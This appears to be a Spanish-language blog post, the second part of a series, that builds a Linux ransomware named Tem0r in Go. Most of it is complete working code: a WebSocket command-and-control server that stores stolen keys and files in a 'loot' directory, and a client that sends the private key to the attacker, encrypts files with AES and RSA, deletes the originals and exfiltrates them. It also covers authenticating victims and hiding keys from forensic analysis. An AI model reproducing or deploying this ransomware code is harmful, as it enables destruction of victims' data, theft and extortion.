Tem0r: construyendo un ransomware para Linux desde 0 (Parte 2)

En el anterior post de la serie introducíamos nuestra pieza de ransomware e implementábamos el core del cifrado y descifrado pero, como ya comentábamos, Tem0r incluye doble extorsión y por tanto nos falta la parte fundamental del envío/exfiltración de la información hacia el atacante…

Existen varias vías y canales encubiertos para ello, pero para la primera versión de nuestro “juguetito” vamos a usar WebSocket porque ofrece una comunicación bidireccional y persistente y además suele ser mas difícil de detectar que por ejemplo por un canal HTTP/HTTPS.

Vamos empezar primero enviando la clave privada ya que es fundamental para que el atacante la reciba de cara a esa posible extorsión posterior (para que la victima pueda descifrar los ficheros). Para enviarla a un servidor externo, necesitamos implementar el cliente WebSocket en el programa y establecer una conexión segura con el servidor. 

SERVIDOR

Primero, añadimos la dependencia del paquete de WebSocket. Go ofrece bibliotecas externas para trabajar con WebSockets y una de las más populares es gorilla/websocket. 

Creamos un directorio websocket_server, inicializamos y procedemos a instalar ese módulo:

Luego usaremos el siguiente código para crear un servidor que escucha en un puerto específico, acepta conexiones WebSocket y procesa los mensajes recibidos, guardando la clave en un archivo.

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"

	"github.com/gorilla/websocket"
)

var upgrader = websocket.Upgrader{
	CheckOrigin: func(r *http.Request) bool {
		return true // Acepta conexiones desde cualquier origen (útil solo en desarrollo)
	},
}

func handleWebSocket(w http.ResponseWriter, r *http.Request) {
	// Actualiza la conexión HTTP a WebSocket
	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Println("Error al actualizar la conexión:", err)
		return
	}
	defer conn.Close()

	// Espera recibir la clave privada como mensaje de texto
	_, privateKeyBytes, err := conn.ReadMessage()
	if err != nil {
		log.Println("Error al leer el mensaje:", err)
		return
	}

	// Guarda la clave privada en un archivo
	err = ioutil.WriteFile("received_private.key", privateKeyBytes, 0600)
	if err != nil {
		log.Println("Error al guardar la clave privada:", err)
		return
	}

	fmt.Println("Clave privada recibida y guardada como received_private.key")
}

func main() {
	http.HandleFunc("/ws", handleWebSocket)

	// Escucha en el puerto 8080 (puedes cambiar el puerto si es necesario)
	port := "8080"
	fmt.Println("Servidor WebSocket escuchando en el puerto", port)
	log.Fatal(http.ListenAndServe(":"+port, nil))
}

Lo lanzamos y nos ponemos a la escucha:

CLIENTE

Ahora vamos con la parte del cliente. Creamos de forma similar un directorio para el cliente websocket_client, inicializamos e instalamos el módulo:

El código es el siguiente:

package main

import (
	"fmt"
	"io/ioutil"
	"log"

	"github.com/gorilla/websocket"
)

func main() {
	privateKeyFile := "private.key"
	serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket

	// Leer el archivo de clave privada
	privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
	if err != nil {
		fmt.Println("Error leyendo el archivo de la clave privada:", err)
		return
	}

	// Conectar al servidor WebSocket
	conn, _, err := websocket.DefaultDialer.Dial(serverURL, nil)
	if err != nil {
		log.Fatal("Error al conectar con WebSocket:", err)
		return
	}
	defer conn.Close()

	// Enviar la clave privada al servidor
	err = conn.WriteMessage(websocket.TextMessage, privateKeyBytes)
	if err != nil {
		log.Println("Error al enviar la clave privada:", err)
		return
	}

	fmt.Println("Clave privada enviada al servidor con éxito.")
}

Ahora lo ejecutamos y comprobamos que la clave se ha enviado con éxito. 

Desde la víctima:

Y recibimos la clave privada en el servidor controlado por el atacante:

Evidentemente este código es para la primera prueba de concepto, bastante sencillo. Pero si nuestro servidor WebSocket está expuesto públicamente en ws://miserver:8080/ws, existe la posibilidad de que cualquier persona que conozca la dirección pueda intentar conectarse al servidor y enviar o recibir datos, incluyendo la clave privada que se está transmitiendo. Por lo tanto, lo mínimo que tendremos que hacer es autenticar al cliente para que sólo él pueda acceder y enviar la clave.

Podríamos restringir las conexiones WebSocket a un cliente específico (como un cliente “infectado” en nuestro caso), personalizando la función CheckOrigin del Upgrader para verificar la dirección IP origen del cliente que intenta conectarse:

var upgrader = websocket.Upgrader{
	CheckOrigin: func(r *http.Request) bool {
		// Cambia "192.168.1.100" por la IP de tu cliente infectado
		allowedIP := "192.168.1.100"
		clientIP := strings.Split(r.RemoteAddr, ":")[0] // Obtiene la IP del cliente

		// Verifica si la IP del cliente coincide con la IP permitida
		return clientIP == allowedIP
	},
}

Sin embargo ya sabemos que las IPs suelen ser dinámicas o que las víctimas suelen encontrarse detrás de NAT y/o proxies por lo que preferiblemente vamos a optar por usar tokens de autenticación. Para ello vamos a usar JSON Web Tokens (JWT), que es un estándar ampliamente utilizado para la autenticación. Como antes, necesitaremos instalar la biblioteca correspondiente, en este caso para trabajar con JWT en Go. Podemos usar el repo github.com/golang-jwt/jwt. Ejecutamos el siguiente comando en el directorio de tu módulo:

Luego debemos generar un token JWT que será enviado por el cliente cuando intente conectarse al servidor WebSocket. Aquí tenemos el ejemplo:

package main

import (
    "fmt"
    "time"

    "github.com/golang-jwt/jwt"
)

var mySigningKey = []byte("secret") // Cambia esto a una clave secreta más segura

func GenerateToken() (string, error) {
    // Define los claims (datos que se incluirán en el token)
    claims := jwt.MapClaims{
        "authorized": true,
        "exp":        time.Now().Add(time.Minute * 5).Unix(), // Token expira en 5 minutos
    }

    // Crea el token
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

    // Firma el token usando la clave secreta
    tokenString, err := token.SignedString(mySigningKey)
    if err != nil {
        return "", err
    }
    return tokenString, nil
}

Después debemos modificar el servidor WebSocket para verificar el Token modificando la función CheckOrigin:

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "strings"

    "github.com/gorilla/websocket"
    "github.com/golang-jwt/jwt"
)

var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        // Extrae el token del encabezado de la solicitud
        tokenString := r.Header.Get("Authorization")
        tokenString = strings.TrimPrefix(tokenString, "Bearer ")

        // Verifica el token
        claims := &jwt.MapClaims{}
        token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) {
            return []byte("secret"), nil // Debes usar la misma clave secreta
        })

        if err != nil || !token.Valid {
            log.Println("Token inválido:", err)
            return false // Rechaza la conexión si el token no es válido
        }

        return true // Permite la conexión si el token es válido
    },
}

func handleWebSocket(w http.ResponseWriter, r *http.Request) {
    conn, err := upgrader.Upgrade(w, r, nil)
    if err != nil {
        log.Println("Error al actualizar la conexión:", err)
        return
    }
    defer conn.Close()

    _, privateKeyBytes, err := conn.ReadMessage()
    if err != nil {
        log.Println("Error al leer el mensaje:", err)
        return
    }

    err = ioutil.WriteFile("received_private.key", privateKeyBytes, 0600)
    if err != nil {
        log.Println("Error al guardar la clave privada:", err)
        return
    }

    fmt.Println("Clave privada recibida y guardada como received_private.key")
}

func main() {
    http.HandleFunc("/ws", handleWebSocket)

    port := "8080"
    fmt.Println("Servidor WebSocket escuchando en el puerto", port)
    log.Fatal(http.ListenAndServe(":"+port, nil))
}

A continuación, cuando el cliente intente conectarse, debe enviar el token JWT en el encabezado Authorization usando el mismo secret. Es decir, si el cliente firma el token con la misma clave que tiene configurado el servidor podrá conectar al WebSocket. Esta sería la manera más “dinámica” de autorizar subir info a la infra del atacante si bien, y seguro que algunos lo habéis pensado, habría que asegurarse que el binario del cliente no puede ser fácilmente reverseado para que un forense no obtenga esa clave hardcodeada. Eso o añadir otro o un método adicional para la autenticación de las posibles víctimas.

Pero bueno, eso será otro feature que implementaremos más adelante. De momento aquí tienes el ejemplo completo de cómo hacerlo desde el cliente:

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "github.com/gorilla/websocket"
)

func main() {
    privateKeyFile := "private.key"
    serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket

    // Leer el archivo de clave privada
    privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
    if err != nil {
        fmt.Println("Error leyendo el archivo de la clave privada:", err)
        return
    }

    // Generar un token (asegúrate de que el token se genere de manera similar al servidor)
    token, err := GenerateToken() // Aquí debes implementar la función GenerateToken
    if err != nil {
        log.Fatal("Error generando el token:", err)
        return
    }

    // Conectar al servidor WebSocket con el token
    header := http.Header{}
    header.Add("Authorization", "Bearer "+token)

    conn, _, err := websocket.DefaultDialer.Dial(serverURL, header)
    if err != nil {
        log.Fatal("Error al conectar con WebSocket:", err)
        return
    }
    defer conn.Close()

    // Enviar la clave privada al servidor
    err = conn.WriteMessage(websocket.TextMessage, privateKeyBytes)
    if err != nil {
        log.Println("Error al enviar la clave privada:", err)
        return
    }

    fmt.Println("Clave privada enviada al servidor con éxito.")
}

Por último metemos todo en la “cocktelera” para que envíe primero la clave privada y luego cada uno de los archivos .crypted que va cifrando antes de borrarlos y tenemos prácticamente el artefacto cerrado y funcionando:

CLIENTE

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"crypto/rsa"
	"crypto/sha256"
	"crypto/x509"
	"encoding/pem"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"time"

	"github.com/golang-jwt/jwt"
	"github.com/gorilla/websocket"
)

// Variable para la clave de firma del JWT
var mySigningKey = []byte("secret") // Cambia esto a una clave más segura

// Genera un token JWT
func GenerateToken() (string, error) {
	claims := jwt.MapClaims{
		"authorized": true,
		"exp":        time.Now().Add(time.Minute * 5).Unix(), // Token expira en 5 minutos
	}

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	tokenString, err := token.SignedString(mySigningKey)
	if err != nil {
		return "", err
	}
	return tokenString, nil
}

// TokenPayload representa el formato del payload enviado
type TokenPayload struct {
	Token string `json:"token"`
	Data  []byte `json:"data"`
	Name  string `json:"name"`
}

func main() {
	publicKeyFile := "public.key"
	privateKeyFile := "private.key"
	sourceDir := "/tmp/dummy"
	serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket

	// Leer el archivo de clave pública
	publicKeyBytes, err := ioutil.ReadFile(publicKeyFile)
	if err != nil {
		fmt.Println("Error leyendo el archivo de clave pública:", err)
		return
	}
	block, _ := pem.Decode(publicKeyBytes)
	if block == nil {
		fmt.Println("Error decodificando el bloque PEM que contiene la clave")
		return
	}
	parsedKey, err := x509.ParsePKIXPublicKey(block.Bytes)
	if err != nil {
		fmt.Println("Error parseando la clave pública:", err)
		return
	}
	publicKey, ok := parsedKey.(*rsa.PublicKey)
	if !ok {
		fmt.Println("Error: la clave cargada no es una clave pública RSA")
		return
	}

	// Leer la clave privada para enviarla más tarde
	privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
	if err != nil {
		fmt.Println("Error leyendo la clave privada:", err)
		return
	}

	// Generar un token JWT
	token, err := GenerateToken()
	if err != nil {
		log.Fatal("Error generando el token:", err)
		return
	}

	// Conectar al servidor WebSocket usando el token
	header := http.Header{}
	header.Add("Authorization", "Bearer "+token)
	conn, _, err := websocket.DefaultDialer.Dial(serverURL, header)
	if err != nil {
		log.Fatal("Error al conectar con WebSocket:", err)
		return
	}
	defer func() {
		// Enviar el mensaje de cierre (close frame) al servidor
		err := conn.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
		if err != nil {
			log.Println("Error enviando mensaje de cierre:", err)
		}
		conn.Close()
	}()

	// Enviar la clave privada al servidor
	privatePayload := TokenPayload{
		Token: token,
		Data:  privateKeyBytes,
		Name:  "private.key",
	}

	err = conn.WriteJSON(privatePayload)
	if err != nil {
		log.Println("Error al enviar la clave privada:", err)
		return
	}
	fmt.Println("Clave privada enviada al servidor con éxito.")

	// Crear el archivo ATTENTION.txt
	attentionFile := filepath.Join(sourceDir, "ATTENTION.txt")
	attentionContent := "This is only a PoC. Please, never pay for ransomware."
	err = ioutil.WriteFile(attentionFile, []byte(attentionContent), 0644)
	if err != nil {
		log.Fatalf("Error creando ATTENTION.txt: %v", err)
	}

	// Recorre los archivos del directorio y cifra cada archivo
	err = filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}

		if !info.IsDir() {
			fmt.Println("Encrypting file:", path)

			// Leer el archivo
			data, err := ioutil.ReadFile(path)
			if err != nil {
				return fmt.Errorf("error leyendo el archivo %s: %v", path, err)
			}

			// Si el archivo es ATTENTION.txt, simplemente envíalo sin cifrar
			if info.Name() == "ATTENTION.txt" {
				attentionPayload := TokenPayload{
					Token: token,
					Data:  data,
					Name:  "ATTENTION.txt",
				}

				err = conn.WriteJSON(attentionPayload)
				if err != nil {
					log.Println("Error al enviar ATTENTION.txt:", err)
					return err
				}
				fmt.Println("ATTENTION.txt enviado al servidor.")
				return nil
			}

			// Generar una clave AES aleatoria
			aesKey := make([]byte, 32) // Tamaño de clave AES-256
			if _, err := rand.Read(aesKey); err != nil {
				return fmt.Errorf("error generando clave AES: %v", err)
			}

			// Cifrar el contenido del archivo usando AES
			encryptedData, err := encryptAES(data, aesKey)
			if err != nil {
				return fmt.Errorf("error cifrando el contenido del archivo: %v", err)
			}

			// Cifrar la clave AES usando RSA y la clave pública
			encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, nil)
			if err != nil {
				return fmt.Errorf("error cifrando la clave AES: %v", err)
			}

			// Combinar la clave cifrada y los datos cifrados
			finalData := append(encryptedKey, encryptedData...)

			// Guardar el archivo cifrado con la extensión .crypted
			newPath := path + ".crypted"
			err = ioutil.WriteFile(newPath, finalData, 0644)
			if err != nil {
				return fmt.Errorf("error escribiendo el archivo cifrado %s: %v", newPath, err)
			}
			fmt.Println("Archivo cifrado guardado como:", newPath)

			// Eliminar el archivo original
			if err := os.Remove(path); err != nil {
				return fmt.Errorf("error eliminando el archivo original %s: %v", path, err)
			}
			fmt.Println("Archivo original eliminado:", path)

			// Enviar el archivo .crypted al servidor WebSocket
			cryptedPayload := TokenPayload{
				Token: token,
				Data:  finalData,
				Name:  filepath.Base(newPath), // Nombre del archivo cifrado
			}

			err = conn.WriteJSON(cryptedPayload)
			if err != nil {
				log.Println("Error al enviar el archivo cifrado:", err)
				return err
			}
			fmt.Println("Archivo cifrado enviado al servidor:", newPath)
		}
		return nil
	})
	if err != nil {
		log.Println("Error durante el recorrido de los archivos:", err)
	}

	fmt.Println("Todos los archivos cifrados han sido enviados con éxito.")
}

// encryptAES cifra datos utilizando AES-GCM con la clave proporcionada
func encryptAES(data, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	aesGCM, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}

	nonce := make([]byte, aesGCM.NonceSize())
	if _, err := rand.Read(nonce); err != nil {
		return nil, err
	}

	ciphertext := aesGCM.Seal(nonce, nonce, data, nil)
	return ciphertext, nil
}

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"path/filepath"

	"github.com/golang-jwt/jwt"
	"github.com/gorilla/websocket"
)

// Clave secreta utilizada para firmar el token
var mySigningKey = []byte("secret") // Cambia esto a una clave más segura

// TokenPayload representa el formato del payload recibido
type TokenPayload struct {
	Token string `json:"token"`
	Data  []byte `json:"data"`
	Name  string `json:"name"`
}

// Verificar el token JWT
func ValidateToken(tokenString string) (bool, error) {
	token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
			return nil, fmt.Errorf("token firmado con otro método")
		}
		return mySigningKey, nil
	})

	if err != nil {
		return false, err
	}

	return token.Valid, nil
}

// Crear el directorio "loot" si no existe
func createLootDirectory() string {
	lootDir := "loot"
	if _, err := os.Stat(lootDir); os.IsNotExist(err) {
		err := os.Mkdir(lootDir, 0755)
		if err != nil {
			log.Fatalf("Error al crear el directorio loot: %v", err)
		}
	}
	return lootDir
}

// Manejar las conexiones WebSocket
func handleConnection(w http.ResponseWriter, r *http.Request) {
	// Upgrade la conexión a WebSocket
	conn, err := websocket.Upgrade(w, r, nil, 1024, 1024)
	if err != nil {
		log.Println("Error al actualizar la conexión:", err)
		return
	}
	defer conn.Close()

	log.Println("Nueva conexión establecida.")

	// Crear el directorio loot si no existe
	lootDir := createLootDirectory()

	for {
		var payload TokenPayload
		// Leer el mensaje del cliente
		err := conn.ReadJSON(&payload)
		if err != nil {
			// Comprobar si el error es un cierre normal (código 1000)
			if websocket.IsCloseError(err, websocket.CloseNormalClosure) {
				log.Println("Conexión cerrada de forma normal (código 1000)")
				break
			}
			log.Println("Error leyendo mensaje:", err)
			break
		}

		// Validar el token
		isValid, err := ValidateToken(payload.Token)
		if err != nil || !isValid {
			log.Println("Token inválido:", err)
			continue
		}

		// Guardar la clave privada o el archivo .crypted en el directorio "loot"
		filePath := filepath.Join(lootDir, payload.Name)

		if payload.Name == "private.key" {
			// Guardar la clave privada
			err = ioutil.WriteFile(filePath, payload.Data, 0600) // Guardar la clave privada con permisos seguros
			if err != nil {
				log.Println("Error guardando la clave privada:", err)
				continue
			}
			log.Println("Clave privada recibida y guardada en:", filePath)
		} else if filepath.Ext(payload.Name) == ".crypted" {
			// Guardar el archivo cifrado
			err = ioutil.WriteFile(filePath, payload.Data, 0644) // Guardar el archivo cifrado
			if err != nil {
				log.Println("Error guardando el archivo cifrado:", err)
				continue
			}
			log.Println("Archivo cifrado recibido y guardado en:", filePath)
		} else {
			// Guardar otros archivos como ATTENTION.txt
			err = ioutil.WriteFile(filePath, payload.Data, 0644) // Guardar el archivo
			if err != nil {
				log.Println("Error guardando el archivo:", err)
				continue
			}
			log.Println("Archivo recibido y guardado en:", filePath)
		}
	}
}

func main() {
	http.HandleFunc("/ws", handleConnection)
	fmt.Println("Servidor WebSocket escuchando en ws://localhost:8080/ws")
	err := http.ListenAndServe(":8080", nil)
	if err != nil {
		log.Fatal("Error al iniciar el servidor:", err)
	}
}